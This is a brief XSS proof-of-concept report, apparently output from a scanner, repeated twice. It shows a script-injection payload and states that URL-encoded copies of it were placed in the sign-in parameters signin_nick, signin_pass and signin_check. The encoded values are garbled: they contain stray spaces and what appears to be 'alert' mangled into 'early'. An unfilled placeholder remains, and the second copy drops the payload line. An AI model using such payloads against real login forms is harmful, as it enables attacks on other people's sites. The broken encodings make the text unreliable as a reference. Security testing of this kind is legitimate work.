There is one xss vulnerability
poc
"'><script>alert([VARIANT ID])</script>
The following changes have been applied to the original request:
The value of parameter 'signin_nick' has been set to '% 3E% 22% 27% 3E% 3Cscript% 3Early% 2869% 29% 3C% 2Fscript% 3E'
The value of parameter 'signin_pass' has been set to'% 3E% 22% 27% 3E% 3Cscript% 3Early% 2869% 29% 3C% 2Fscript% 3E '
The value of parameter 'signin_check' has been set to '% 3E% 22% 27% 3E% 3Cscript% 3Early% 2869% 29% 3C% 2Fscript% 3E'


There is one xss vulnerability
poc
The following changes have been applied to the original request:


The value of parameter 'signin_nick' has been set to '% 3E% 22% 27% 3E% 3Cscript% 3Early% 2869% 29% 3C% 2Fscript% 3E'
The value of parameter 'signin_pass' has been set to'% 3E% 22% 27% 3E% 3Cscript% 3Early% 2869% 29% 3C% 2Fscript% 3E '
The value of parameter 'signin_check' has been set to '% 3E% 22% 27% 3E% 3Cscript% 3Early% 2869% 29% 3C% 2Fscript% 3E'